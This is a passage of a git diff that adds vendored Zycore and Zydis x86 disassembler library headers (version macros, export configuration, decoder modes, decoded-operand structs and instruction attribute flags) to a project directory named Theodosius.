TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Master include file, including everything else. + */ + +#ifndef ZYCORE_H +#define ZYCORE_H + +#include +#include + +// TODO: + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Constants */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * A macro that defines the zycore version. + */ +#define ZYCORE_VERSION (ZyanU64)0x0001000000000000 + +/* ---------------------------------------------------------------------------------------------- */ +/* Helper macros */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Extracts the major-part of the zycore version. + * + * @param version The zycore version value + */ +#define ZYCORE_VERSION_MAJOR(version) (ZyanU16)((version & 0xFFFF000000000000) >> 48) + +/** + * Extracts the minor-part of the zycore version. + * + * @param version The zycore version value + */ +#define ZYCORE_VERSION_MINOR(version) (ZyanU16)((version & 0x0000FFFF00000000) >> 32) + +/** + * Extracts the patch-part of the zycore version. + * + * @param version The zycore version value + */ +#define ZYCORE_VERSION_PATCH(version) (ZyanU16)((version & 0x00000000FFFF0000) >> 16) + +/** + * Extracts the build-part of the zycore version. + * + * @param version The zycore version value + */ +#define ZYCORE_VERSION_BUILD(version) (ZyanU16)(version & 0x000000000000FFFF) + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/** + * Returns the zycore version. + * + * @return The zycore version. + * + * Use the macros provided in this file to extract the major, minor, patch and build part from the + * returned version value. + */ +ZYCORE_EXPORT ZyanU64 ZycoreGetVersion(void); + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYCORE_H */ diff --git a/Theodosius/ZycoreExportConfig.h b/Theodosius/ZycoreExportConfig.h new file mode 100644 index 0000000..f050d37 --- /dev/null +++ b/Theodosius/ZycoreExportConfig.h @@ -0,0 +1,42 @@ + +#ifndef ZYCORE_EXPORT_H +#define ZYCORE_EXPORT_H + +#ifdef ZYCORE_STATIC_DEFINE +# define ZYCORE_EXPORT +# define ZYCORE_NO_EXPORT +#else +# ifndef ZYCORE_EXPORT +# ifdef Zycore_EXPORTS + /* We are building this library */ +# define ZYCORE_EXPORT __declspec(dllexport) +# else + /* We are using this library */ +# define ZYCORE_EXPORT __declspec(dllimport) +# endif +# endif + +# ifndef ZYCORE_NO_EXPORT +# define ZYCORE_NO_EXPORT +# endif +#endif + +#ifndef ZYCORE_DEPRECATED +# define ZYCORE_DEPRECATED __declspec(deprecated) +#endif + +#ifndef ZYCORE_DEPRECATED_EXPORT +# define ZYCORE_DEPRECATED_EXPORT ZYCORE_EXPORT ZYCORE_DEPRECATED +#endif + +#ifndef ZYCORE_DEPRECATED_NO_EXPORT +# define ZYCORE_DEPRECATED_NO_EXPORT ZYCORE_NO_EXPORT ZYCORE_DEPRECATED +#endif + +#if 0 /* DEFINE_NO_DEPRECATED */ +# ifndef ZYCORE_NO_DEPRECATED +# define ZYCORE_NO_DEPRECATED +# endif +#endif + +#endif /* ZYCORE_EXPORT_H */ diff --git a/Theodosius/Zydis.lib b/Theodosius/Zydis.lib new file mode 100644 index 0000000..42ca9b6 Binary files /dev/null and b/Theodosius/Zydis.lib differ diff --git a/Theodosius/Zydis/Decoder.h b/Theodosius/Zydis/Decoder.h new file mode 100644 index 0000000..8cfbb0c --- /dev/null +++ b/Theodosius/Zydis/Decoder.h @@ -0,0 +1,237 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Functions for decoding instructions. + */ + +#ifndef ZYDIS_DECODER_H +#define ZYDIS_DECODER_H + +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Decoder mode */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisDecoderMode` enum. + */ +typedef enum ZydisDecoderMode_ +{ + /** + * Enables minimal instruction decoding without semantic analysis. + * + * This mode provides access to the mnemonic, the instruction-length, the effective + * operand-size, the effective address-width, some attributes (e.g. `ZYDIS_ATTRIB_IS_RELATIVE`) + * and all of the information in the `raw` field of the `ZydisDecodedInstruction` struct. + * + * Operands, most attributes and other specific information (like `AVX` info) are not + * accessible in this mode. + * + * This mode is NOT enabled by default. + */ + ZYDIS_DECODER_MODE_MINIMAL, + /** + * Enables the `AMD`-branch mode. + * + * Intel ignores the operand-size override-prefix (`0x66`) for all branches with 32-bit + * immediates and forces the operand-size of the instruction to 64-bit in 64-bit mode. + * In `AMD`-branch mode `0x66` is not ignored and changes the operand-size and the size of the + * immediate to 16-bit. + * + * This mode is NOT enabled by default. + */ + ZYDIS_DECODER_MODE_AMD_BRANCHES, + /** + * Enables `KNC` compatibility-mode. + * + * `KNC` and `KNL+` chips are sharing opcodes and encodings for some mask-related instructions. + * Enable this mode to use the old `KNC` specifications (different mnemonics, operands, ..). + * + * This mode is NOT enabled by default. + */ + ZYDIS_DECODER_MODE_KNC, + /** + * Enables the `MPX` mode. + * + * The `MPX` isa-extension reuses (overrides) some of the widenop instruction opcodes. + * + * This mode is enabled by default. + */ + ZYDIS_DECODER_MODE_MPX, + /** + * Enables the `CET` mode. + * + * The `CET` isa-extension reuses (overrides) some of the widenop instruction opcodes. + * + * This mode is enabled by default. + */ + ZYDIS_DECODER_MODE_CET, + /** + * Enables the `LZCNT` mode. + * + * The `LZCNT` isa-extension reuses (overrides) some of the widenop instruction opcodes. + * + * This mode is enabled by default. + */ + ZYDIS_DECODER_MODE_LZCNT, + /** + * Enables the `TZCNT` mode. + * + * The `TZCNT` isa-extension reuses (overrides) some of the widenop instruction opcodes. + * + * This mode is enabled by default. + */ + ZYDIS_DECODER_MODE_TZCNT, + /** + * Enables the `WBNOINVD` mode. + * + * The `WBINVD` instruction is interpreted as `WBNOINVD` on ICL chips, if a `F3` prefix is + * used. + * + * This mode is disabled by default. + */ + ZYDIS_DECODER_MODE_WBNOINVD, + /** + * Enables the `CLDEMOTE` mode. + * + * The `CLDEMOTE` isa-extension reuses (overrides) some of the widenop instruction opcodes. + * + * This mode is enabled by default. + */ + ZYDIS_DECODER_MODE_CLDEMOTE, + + /** + * Maximum value of this enum. + */ + ZYDIS_DECODER_MODE_MAX_VALUE = ZYDIS_DECODER_MODE_CLDEMOTE, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_DECODER_MODE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_DECODER_MODE_MAX_VALUE) +} ZydisDecoderMode; + +/* ---------------------------------------------------------------------------------------------- */ +/* Decoder struct */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisDecoder` struct. + * + * All fields in this struct should be considered as "private". Any changes may lead to unexpected + * behavior. + */ +typedef struct ZydisDecoder_ +{ + /** + * The machine mode. + */ + ZydisMachineMode machine_mode; + /** + * The address width. + */ + ZydisAddressWidth address_width; + /** + * The decoder mode array. + */ + ZyanBool decoder_mode[ZYDIS_DECODER_MODE_MAX_VALUE + 1]; +} ZydisDecoder; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/** + * @addtogroup decoder Decoder + * Functions allowing decoding of instruction bytes to a machine interpretable struct. + * @{ + */ + +/** + * Initializes the given `ZydisDecoder` instance. + * + * @param decoder A pointer to the `ZydisDecoder` instance. + * @param machine_mode The machine mode. + * @param address_width The address width. + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisDecoderInit(ZydisDecoder* decoder, ZydisMachineMode machine_mode, + ZydisAddressWidth address_width); + +/** + * Enables or disables the specified decoder-mode. + * + * @param decoder A pointer to the `ZydisDecoder` instance. + * @param mode The decoder mode. + * @param enabled `ZYAN_TRUE` to enable, or `ZYAN_FALSE` to disable the specified decoder-mode. + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisDecoderEnableMode(ZydisDecoder* decoder, ZydisDecoderMode mode, + ZyanBool enabled); + +/** + * Decodes the instruction in the given input `buffer`. + * + * @param decoder A pointer to the `ZydisDecoder` instance. + * @param buffer A pointer to the input buffer. + * @param length The length of the input buffer. Note that this can be bigger than the + * actual size of the instruction -- you don't have to know the size up + * front. This length is merely used to prevent Zydis from doing + * out-of-bounds reads on your buffer. + * @param instruction A pointer to the `ZydisDecodedInstruction` struct, that receives the + * details about the decoded instruction. + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisDecoderDecodeBuffer(const ZydisDecoder* decoder, + const void* buffer, ZyanUSize length, ZydisDecodedInstruction* instruction); + +/** @} */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_DECODER_H */ diff --git a/Theodosius/Zydis/DecoderTypes.h b/Theodosius/Zydis/DecoderTypes.h new file mode 100644 index 0000000..45f5300 --- /dev/null +++ b/Theodosius/Zydis/DecoderTypes.h @@ -0,0 +1,1528 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Defines the basic `ZydisDecodedInstruction` and `ZydisDecodedOperand` structs. + */ + +#ifndef ZYDIS_INSTRUCTIONINFO_H +#define ZYDIS_INSTRUCTIONINFO_H + +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Decoded operand */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Memory type */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisMemoryOperandType` enum. + */ +typedef enum ZydisMemoryOperandType_ +{ + ZYDIS_MEMOP_TYPE_INVALID, + /** + * Normal memory operand. + */ + ZYDIS_MEMOP_TYPE_MEM, + /** + * The memory operand is only used for address-generation. No real memory-access is + * caused. + */ + ZYDIS_MEMOP_TYPE_AGEN, + /** + * A memory operand using `SIB` addressing form, where the index register is not used + * in address calculation and scale is ignored. No real memory-access is caused. + */ + ZYDIS_MEMOP_TYPE_MIB, + + /** + * Maximum value of this enum. + */ + ZYDIS_MEMOP_TYPE_MAX_VALUE = ZYDIS_MEMOP_TYPE_MIB, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_MEMOP_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MEMOP_TYPE_MAX_VALUE) +} ZydisMemoryOperandType; + +/* ---------------------------------------------------------------------------------------------- */ +/* Decoded operand */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisDecodedOperand` struct. + */ +typedef struct ZydisDecodedOperand_ +{ + /** + * The operand-id. + */ + ZyanU8 id; + /** + * The type of the operand. + */ + ZydisOperandType type; + /** + * The visibility of the operand. + */ + ZydisOperandVisibility visibility; + /** + * The operand-actions. + */ + ZydisOperandActions actions; + /** + * The operand-encoding. + */ + ZydisOperandEncoding encoding; + /** + * The logical size of the operand (in bits). + */ + ZyanU16 size; + /** + * The element-type. + */ + ZydisElementType element_type; + /** + * The size of a single element. + */ + ZydisElementSize element_size; + /** + * The number of elements. + */ + ZyanU16 element_count; + /** + * Extended info for register-operands. + */ + struct ZydisDecodedOperandReg_ + { + /** + * The register value. + */ + ZydisRegister value; + // TODO: AVX512_4VNNIW MULTISOURCE registers + } reg; + /** + * Extended info for memory-operands. + */ + struct ZydisDecodedOperandMem_ + { + /** + * The type of the memory operand. + */ + ZydisMemoryOperandType type; + /** + * The segment register. + */ + ZydisRegister segment; + /** + * The base register. + */ + ZydisRegister base; + /** + * The index register. + */ + ZydisRegister index; + /** + * The scale factor. + */ + ZyanU8 scale; + /** + * Extended info for memory-operands with displacement. + */ + struct ZydisDecodedOperandMemDisp_ + { + /** + * Signals, if the displacement value is used. + */ + ZyanBool has_displacement; + /** + * The displacement value + */ + ZyanI64 value; + } disp; + } mem; + /** + * Extended info for pointer-operands. + */ + struct ZydisDecodedOperandPtr_ + { + ZyanU16 segment; + ZyanU32 offset; + } ptr; + /** + * Extended info for immediate-operands. + */ + struct ZydisDecodedOperandImm_ + { + /** + * Signals, if the immediate value is signed. + */ + ZyanBool is_signed; + /** + * Signals, if the immediate value contains a relative offset. You can use + * `ZydisCalcAbsoluteAddress` to determine the absolute address value. + */ + ZyanBool is_relative; + /** + * The immediate value. + */ + union ZydisDecodedOperandImmValue_ + { + ZyanU64 u; + ZyanI64 s; + } value; + } imm; +} ZydisDecodedOperand; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Decoded instruction */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Instruction attributes */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisInstructionAttributes` data-type. + */ +typedef ZyanU64 ZydisInstructionAttributes; + +/** + * The instruction has the `ModRM` byte. + */ +#define ZYDIS_ATTRIB_HAS_MODRM 0x0000000000000001 // (1 << 0) +/** + * The instruction has the `SIB` byte. + */ +#define ZYDIS_ATTRIB_HAS_SIB 0x0000000000000002 // (1 << 1) +/** + * The instruction has the `REX` prefix. + */ +#define ZYDIS_ATTRIB_HAS_REX 0x0000000000000004 // (1 << 2) +/** + * The instruction has the `XOP` prefix. + */ +#define ZYDIS_ATTRIB_HAS_XOP 0x0000000000000008 // (1 << 3) +/** + * The instruction has the `VEX` prefix. + */ +#define ZYDIS_ATTRIB_HAS_VEX 0x0000000000000010 // (1 << 4) +/** + * The instruction has the `EVEX` prefix. + */ +#define ZYDIS_ATTRIB_HAS_EVEX 0x0000000000000020 // (1 << 5) +/** + * The instruction has the `MVEX` prefix. + */ +#define ZYDIS_ATTRIB_HAS_MVEX 0x0000000000000040 // (1 << 6) +/** + * The instruction has one or more operands with position-relative offsets. + */ +#define ZYDIS_ATTRIB_IS_RELATIVE 0x0000000000000080 // (1 << 7) +/** + * The instruction is privileged. + * + * Privileged instructions are any instructions that require a current ring level below 3. + */ +#define ZYDIS_ATTRIB_IS_PRIVILEGED 0x0000000000000100 // (1 << 8) + +/** + * The instruction accesses one or more CPU-flags. + */ +#define ZYDIS_ATTRIB_CPUFLAG_ACCESS 0x0000001000000000 // (1 << 36) // TODO: rebase + +/** + * The instruction may conditionally read the general CPU state. + */ +#define ZYDIS_ATTRIB_CPU_STATE_CR 0x0000002000000000 // (1 << 37) // TODO: rebase +/** + * The instruction may conditionally write the general CPU state. + */ +#define ZYDIS_ATTRIB_CPU_STATE_CW 0x0000004000000000 // (1 << 38) // TODO: rebase +/** + * The instruction may conditionally read the FPU state (X87, MMX). + */ +#define ZYDIS_ATTRIB_FPU_STATE_CR 0x0000008000000000 // (1 << 39) // TODO: rebase +/** + * The instruction may conditionally write the FPU state (X87, MMX). + */ +#define ZYDIS_ATTRIB_FPU_STATE_CW 0x0000010000000000 // (1 << 40) // TODO: rebase +/** + * The instruction may conditionally read the XMM state (AVX, AVX2, AVX-512). + */ +#define ZYDIS_ATTRIB_XMM_STATE_CR 0x0000020000000000 // (1 << 41) // TODO: rebase +/** + * The instruction may conditionally write the XMM state (AVX, AVX2, AVX-512). + */ +#define ZYDIS_ATTRIB_XMM_STATE_CW 0x0000040000000000 // (1 << 42) // TODO: rebase + +/** + * The instruction accepts the `LOCK` prefix (`0xF0`). + */ +#define ZYDIS_ATTRIB_ACCEPTS_LOCK 0x0000000000000200 // (1 << 9) +/** + * The instruction accepts the `REP` prefix (`0xF3`). + */ +#define ZYDIS_ATTRIB_ACCEPTS_REP 0x0000000000000400 // (1 << 10) +/** + * The instruction accepts the `REPE`/`REPZ` prefix (`0xF3`). + */ +#define ZYDIS_ATTRIB_ACCEPTS_REPE 0x0000000000000800 // (1 << 11) +/** + * The instruction accepts the `REPE`/`REPZ` prefix (`0xF3`). + */ +#define ZYDIS_ATTRIB_ACCEPTS_REPZ 0x0000000000000800 // (1 << 11) +/** + * The instruction accepts the `REPNE`/`REPNZ` prefix (`0xF2`). + */ +#define ZYDIS_ATTRIB_ACCEPTS_REPNE 0x0000000000001000 // (1 << 12) +/** + * The instruction accepts the `REPNE`/`REPNZ` prefix (`0xF2`). + */ +#define ZYDIS_ATTRIB_ACCEPTS_REPNZ 0x0000000000001000 // (1 << 12) +/** + * The instruction accepts the `BND` prefix (`0xF2`). + */ +#define ZYDIS_ATTRIB_ACCEPTS_BND 0x0000000000002000 // (1 << 13) +/** + * The instruction accepts the `XACQUIRE` prefix (`0xF2`). + */ +#define ZYDIS_ATTRIB_ACCEPTS_XACQUIRE 0x0000000000004000 // (1 << 14) +/** + * The instruction accepts the `XRELEASE` prefix (`0xF3`). + */ +#define ZYDIS_ATTRIB_ACCEPTS_XRELEASE 0x0000000000008000 // (1 << 15) +/** + * The instruction accepts the `XACQUIRE`/`XRELEASE` prefixes (`0xF2`, `0xF3`) + * without the `LOCK` prefix (`0x0F`). + */ +#define ZYDIS_ATTRIB_ACCEPTS_HLE_WITHOUT_LOCK 0x0000000000010000 // (1 << 16) +/** + * The instruction accepts branch hints (0x2E, 0x3E). + */ +#define ZYDIS_ATTRIB_ACCEPTS_BRANCH_HINTS 0x0000000000020000 // (1 << 17) +/** + * The instruction accepts segment prefixes (`0x2E`, `0x36`, `0x3E`, `0x26`, + * `0x64`, `0x65`). + */ +#define ZYDIS_ATTRIB_ACCEPTS_SEGMENT 0x0000000000040000 // (1 << 18) +/** + * The instruction has the `LOCK` prefix (`0xF0`). + */ +#define ZYDIS_ATTRIB_HAS_LOCK 0x0000000000080000 // (1 << 19) +/** + * The instruction has the `REP` prefix (`0xF3`). + */ +#define ZYDIS_ATTRIB_HAS_REP 0x0000000000100000 // (1 << 20) +/** + * The instruction has the `REPE`/`REPZ` prefix (`0xF3`). + */ +#define ZYDIS_ATTRIB_HAS_REPE 0x0000000000200000 // (1 << 21) +/** + * The instruction has the `REPE`/`REPZ` prefix (`0xF3`). + */ +#define ZYDIS_ATTRIB_HAS_REPZ 0x0000000000200000 // (1 << 21) +/** + * The instruction has the `REPNE`/`REPNZ` prefix (`0xF2`). + */ +#define ZYDIS_ATTRIB_HAS_REPNE 0x0000000000400000 // (1 << 22) +/** + * The instruction has the `REPNE`/`REPNZ` prefix (`0xF2`). + */ +#define ZYDIS_ATTRIB_HAS_REPNZ 0x0000000000400000 // (1 << 22) +/** + * The instruction has the `BND` prefix (`0xF2`). + */ +#define ZYDIS_ATTRIB_HAS_BND 0x0000000000800000 // (1 << 23) +/** + * The instruction has the `XACQUIRE` prefix (`0xF2`). + */ +#define ZYDIS_ATTRIB_HAS_XACQUIRE 0x0000000001000000 // (1 << 24) +/** + * The instruction has the `XRELEASE` prefix (`0xF3`). + */ +#define ZYDIS_ATTRIB_HAS_XRELEASE 0x0000000002000000 // (1 << 25) +/** + * The instruction has the branch-not-taken hint (`0x2E`). + */ +#define ZYDIS_ATTRIB_HAS_BRANCH_NOT_TAKEN 0x0000000004000000 // (1 << 26) +/** + * The instruction has the branch-taken hint (`0x3E`). + */ +#define ZYDIS_ATTRIB_HAS_BRANCH_TAKEN 0x0000000008000000 // (1 << 27) +/** + * The instruction has a segment modifier. + */ +#define ZYDIS_ATTRIB_HAS_SEGMENT 0x00000003F0000000 +/** + * The instruction has the `CS` segment modifier (`0x2E`). + */ +#define ZYDIS_ATTRIB_HAS_SEGMENT_CS 0x0000000010000000 // (1 << 28) +/** + * The instruction has the `SS` segment modifier (`0x36`). + */ +#define ZYDIS_ATTRIB_HAS_SEGMENT_SS 0x0000000020000000 // (1 << 29) +/** + * The instruction has the `DS` segment modifier (`0x3E`). + */ +#define ZYDIS_ATTRIB_HAS_SEGMENT_DS 0x0000000040000000 // (1 << 30) +/** + * The instruction has the `ES` segment modifier (`0x26`). + */ +#define ZYDIS_ATTRIB_HAS_SEGMENT_ES 0x0000000080000000 // (1 << 31) +/** + * The instruction has the `FS` segment modifier (`0x64`). + */ +#define ZYDIS_ATTRIB_HAS_SEGMENT_FS 0x0000000100000000 // (1 << 32) +/** + * The instruction has the `GS` segment modifier (`0x65`). + */ +#define ZYDIS_ATTRIB_HAS_SEGMENT_GS 0x0000000200000000 // (1 << 33) +/** + * The instruction has the operand-size override prefix (`0x66`). + */ +#define ZYDIS_ATTRIB_HAS_OPERANDSIZE 0x0000000400000000 // (1 << 34) // TODO: rename +/** + * The instruction has the address-size override prefix (`0x67`). + */ +#define ZYDIS_ATTRIB_HAS_ADDRESSSIZE 0x0000000800000000 // (1 << 35) // TODO: rename + +/* ---------------------------------------------------------------------------------------------- */ +/* R/E/FLAGS info */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisCPUFlags` data-type. + */ +typedef ZyanU32 ZydisCPUFlags; + +/** + * Defines the `ZydisCPUFlag` data-type. + */ +typedef ZyanU8 ZydisCPUFlag; + +/** + * Carry flag. + */ +#define ZYDIS_CPUFLAG_CF 0 +/** + * Parity flag. + */ +#define ZYDIS_CPUFLAG_PF 2 +/** + * Adjust flag. + */ +#define ZYDIS_CPUFLAG_AF 4 +/** + * Zero flag. + */ +#define ZYDIS_CPUFLAG_ZF 6 +/** + * Sign flag. + */ +#define ZYDIS_CPUFLAG_SF 7 +/** + * Trap flag. + */ +#define ZYDIS_CPUFLAG_TF 8 +/** + * Interrupt enable flag. + */ +#define ZYDIS_CPUFLAG_IF 9 +/** + * Direction flag. + */ +#define ZYDIS_CPUFLAG_DF 10 +/** + * Overflow flag. + */ +#define ZYDIS_CPUFLAG_OF 11 +/** + * I/O privilege level flag. + */ +#define ZYDIS_CPUFLAG_IOPL 12 +/** + * Nested task flag. + */ +#define ZYDIS_CPUFLAG_NT 14 +/** + * Resume flag. + */ +#define ZYDIS_CPUFLAG_RF 16 +/** + * Virtual 8086 mode flag. + */ +#define ZYDIS_CPUFLAG_VM 17 +/** + * Alignment check. + */ +#define ZYDIS_CPUFLAG_AC 18 +/** + * Virtual interrupt flag. + */ +#define ZYDIS_CPUFLAG_VIF 19 +/** + * Virtual interrupt pending. + */ +#define ZYDIS_CPUFLAG_VIP 20 +/** + * Able to use CPUID instruction. + */ +#define ZYDIS_CPUFLAG_ID 21 + +/////////////////////////////////////////////////////////////////////////////////////////////////// + +/** + * FPU condition-code flag 0. + * + * DEPRECATED. This flag is not actually part of `FLAGS/EFLAGS/RFLAGS` and will be removed in the + * next major release. Please refer to the `fpu_flags_read`/`fpu_flags_written` field instead and + * use one of the `ZYDIS_FPUFLAG_XXX` masks to check for specific a flag. + */ +#define ZYDIS_CPUFLAG_C0 22 +/** + * FPU condition-code flag 1. + * + * DEPRECATED. This flag is not actually part of `FLAGS/EFLAGS/RFLAGS` and will be removed in the + * next major release. Please refer to the `fpu_flags_read`/`fpu_flags_written` field instead and + * use one of the `ZYDIS_FPUFLAG_XXX` masks to check for specific a flag. + */ +#define ZYDIS_CPUFLAG_C1 23 +/** + * FPU condition-code flag 2. + * + * DEPRECATED. This flag is not actually part of `FLAGS/EFLAGS/RFLAGS` and will be removed in the + * next major release. Please refer to the `fpu_flags_read`/`fpu_flags_written` field instead and + * use one of the `ZYDIS_FPUFLAG_XXX` masks to check for specific a flag. + */ +#define ZYDIS_CPUFLAG_C2 24 +/** + * FPU condition-code flag 3. + * + * DEPRECATED. This flag is not actually part of `FLAGS/EFLAGS/RFLAGS` and will be removed in the + * next major release. Please refer to the `fpu_flags_read`/`fpu_flags_written` field instead and + * use one of the `ZYDIS_FPUFLAG_XXX` masks to check for specific a flag. + */ +#define ZYDIS_CPUFLAG_C3 25 + +/** + * DEPRECATED. This define will be removed in the next major release. + */ +#define ZYDIS_CPUFLAG_MAX_VALUE ZYDIS_CPUFLAG_C3 + + /////////////////////////////////////////////////////////////////////////////////////////////////// + + /** + * Defines the `ZydisFPUFlags` data-type. + */ +typedef ZyanU8 ZydisFPUFlags; + +/** + * FPU condition-code flag 0. + */ +#define ZYDIS_FPUFLAG_C0 0x00 // (1 << 0) +/** + * FPU condition-code flag 1. + */ +#define ZYDIS_FPUFLAG_C1 0x01 // (1 << 1) + /** + * FPU condition-code flag 2. + */ +#define ZYDIS_FPUFLAG_C2 0x02 // (1 << 2) +/** + * FPU condition-code flag 3. + */ +#define ZYDIS_FPUFLAG_C3 0x04 // (1 << 3) + +/** + * Defines the `ZydisCPUFlagAction` enum. + * + * DEPRECATED. This enum will be removed in the next major release. + */ +typedef enum ZydisCPUFlagAction_ +{ + /** + * The CPU flag is not touched by the instruction. + */ + ZYDIS_CPUFLAG_ACTION_NONE, + /** + * The CPU flag is tested (read). + */ + ZYDIS_CPUFLAG_ACTION_TESTED, + /** + * The CPU flag is tested and modified afterwards (read-write). + */ + ZYDIS_CPUFLAG_ACTION_TESTED_MODIFIED, + /** + * The CPU flag is modified (write). + */ + ZYDIS_CPUFLAG_ACTION_MODIFIED, + /** + * The CPU flag is set to 0 (write). + */ + ZYDIS_CPUFLAG_ACTION_SET_0, + /** + * The CPU flag is set to 1 (write). + */ + ZYDIS_CPUFLAG_ACTION_SET_1, + /** + * The CPU flag is undefined (write). + */ + ZYDIS_CPUFLAG_ACTION_UNDEFINED, + + /** + * Maximum value of this enum. + */ + ZYDIS_CPUFLAG_ACTION_MAX_VALUE = ZYDIS_CPUFLAG_ACTION_UNDEFINED, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_CPUFLAG_ACTION_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_CPUFLAG_ACTION_MAX_VALUE) +} ZydisCPUFlagAction; + +/* ---------------------------------------------------------------------------------------------- */ +/* Branch types */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisBranchType` enum. + */ +typedef enum ZydisBranchType_ +{ + /** + * The instruction is not a branch instruction. + */ + ZYDIS_BRANCH_TYPE_NONE, + /** + * The instruction is a short (8-bit) branch instruction. + */ + ZYDIS_BRANCH_TYPE_SHORT, + /** + * The instruction is a near (16-bit or 32-bit) branch instruction. + */ + ZYDIS_BRANCH_TYPE_NEAR, + /** + * The instruction is a far (inter-segment) branch instruction. + */ + ZYDIS_BRANCH_TYPE_FAR, + + /** + * Maximum value of this enum. + */ + ZYDIS_BRANCH_TYPE_MAX_VALUE = ZYDIS_BRANCH_TYPE_FAR, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_BRANCH_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_BRANCH_TYPE_MAX_VALUE) +} ZydisBranchType; + +/* ---------------------------------------------------------------------------------------------- */ +/* SSE/AVX exception-class */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisExceptionClass` enum. + */ +typedef enum ZydisExceptionClass_ +{ + ZYDIS_EXCEPTION_CLASS_NONE, + // TODO: FP Exceptions + ZYDIS_EXCEPTION_CLASS_SSE1, + ZYDIS_EXCEPTION_CLASS_SSE2, + ZYDIS_EXCEPTION_CLASS_SSE3, + ZYDIS_EXCEPTION_CLASS_SSE4, + ZYDIS_EXCEPTION_CLASS_SSE5, + ZYDIS_EXCEPTION_CLASS_SSE7, + ZYDIS_EXCEPTION_CLASS_AVX1, + ZYDIS_EXCEPTION_CLASS_AVX2, + 